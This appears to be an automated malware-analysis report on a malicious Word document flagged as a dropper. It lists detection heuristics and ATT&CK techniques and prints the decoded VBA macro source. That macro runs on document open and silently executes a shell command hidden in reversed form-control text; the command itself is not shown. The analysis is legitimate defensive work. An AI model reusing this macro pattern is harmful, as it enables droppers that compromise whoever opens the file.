MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The Document_Open macro is configured to execute a shell command, likely to download and execute a second-stage payload. This is further supported by ClamAV detections indicating a dropper.
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6948120-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6948120-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
- http://www.iec.chIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1719 bytes |
SHA-256: 86dc0f314116306282b4cb5941c9f8a8f67033fe9f8a753b51d780785f03246f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim UmAbK As Integer
UmAbK = Sgn(18131)
Dim LDxo5kryU As Byte
LDxo5kryU = 111
Dim Fa6kb As Integer
Fa6kb = 32442
Dim QlaGn7 As Integer
QlaGn7 = 21565
Dim jbJXeEV8 As Boolean
jbJXeEV8 = True
Call i9
End Sub
Attribute VB_Name = "INZeW4"
Sub P0TwqoKHO()
End Sub
Sub uXuySBZ()
End Sub
Public Sub i9()
Dim ZKCuB50i As Long
ZKCuB50i = 0
Dim IZNsOg5D As Byte
IZNsOg5D = 149
Dim QkeMZK3Y
QkeMZK3Y = vbNullString
Dim cNVAltgd3 As Boolean
cNVAltgd3 = False
Shell YcEegQ0, vbHide
End Sub
Attribute VB_Name = "wLXQ7CAwM"
Sub N8Nibhl5B()
End Sub
Sub EqYfcbds()
End Sub
Attribute VB_Name = "KMd2o5Svr"
Sub BpZSYol()
Dim zwxkR As Boolean
zwxkR = True
End Sub
Public Function YcEegQ0() As String
Dim L9ZFKfWyO As Object
Set L9ZFKfWyO = New fm
Dim mV5JjP As String
Dim Zus6vc19N As Long
Zus6vc19N = Sgn(0)
Dim TMbx5OFdr As Integer
TMbx5OFdr = Sgn(-27214)
Dim cCt2TX As Long
cCt2TX = 0
Dim aVnWbr As Integer
aVnWbr = Sgn(16431)
Dim iKEn2 As Byte
iKEn2 = 7
mV5JjP = StrReverse(L9ZFKfWyO.monitor.Text)
YcEegQ0 = mV5JjP
End Function
Attribute VB_Name = "fm"
Attribute VB_Base = "0{270374EC-EA42-4B6F-9FA2-B130BDC32ABF}{C1DF0F9E-1214-4749-B5BB-0E5C098BE79E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 22528 bytes |
SHA-256: 38dd1f34cdc3451f70cddc7de0acef36e7a107eec7a2874d2aea682301f7efdf |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6948120-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.